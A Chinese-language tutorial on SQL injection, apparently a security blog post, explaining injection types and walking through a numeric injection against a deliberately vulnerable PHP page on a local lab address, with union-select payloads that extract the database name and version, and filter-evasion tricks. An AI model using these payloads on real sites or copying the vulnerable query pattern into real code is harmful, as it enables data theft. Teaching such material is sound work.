QQ微信没有信息,游戏打的崩溃,小视频刷的很腻,听不完的网易云,熬夜也会熬到天亮,其实这个世界,真的有十级孤独。。。
---- 网易云热评
一、简介
SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
二、产生的原因
1.程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。
2.过滤不严格。
3.数据库配置不当。
4.转义不当。
三、注入点分类
1、数字型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1
2、字符型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='aiyou'。注意多了引号。组合出来的sql注入语句为:select * from news where name='admin'
3、搜索型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 这种形式,其原形大致为:select * from 表名 where 字段 like '%aiyou%',组合出来的sql注入语句为:select * from news where search like '%aiyou %'
四、数字型实例
1、新建一个根据id查询专辑的php页面
<meta charset="utf-8"><?phpinclude("connect.php");//连接数据库if(isset($_GET['id'])){ $id=$_GET['id']; $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '专辑名称:'. $row['name']; echo ""; echo '发行时间:' .$row['year']; echo ""; echo '主 打 歌:' .$row['zhudage']; } else { print_r(mysql_error()); }} else { echo "网址错误"; }?>
2、访问:http://192.168.1.129/php/szx.php?id=1
3、测试注入是否存在
http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常
http://192.168.1.129/php/szx.php?id=1 and 1=2 返回错误
存在注入
4、判断该表的列数
http://192.168.1.129/php/szx.php?id=1 order by 5 返回错误
http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常
该表有4列
5、联合查询
http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4
6、获取数据库名称和mysql版本号
http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4
五、mysql5.0以上版本的特性:
默认定义information_schema数据库,里面具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,tabel_schema存储数据库名,table_name存储表名,column_name存储字段名
注意:
1、Mysql中的大小写不敏感,大小写一样
2、Mysql中的十六进制与URL编码都可以识别。
3、符号和关键字替换 and--&& or--||,and优先级高于or
4、内联注释 /*!内联注释*/ ,/*!/*!*/是等效于/*!*/的
禁止非法,后果自负
欢迎关注公众号:web安全工具库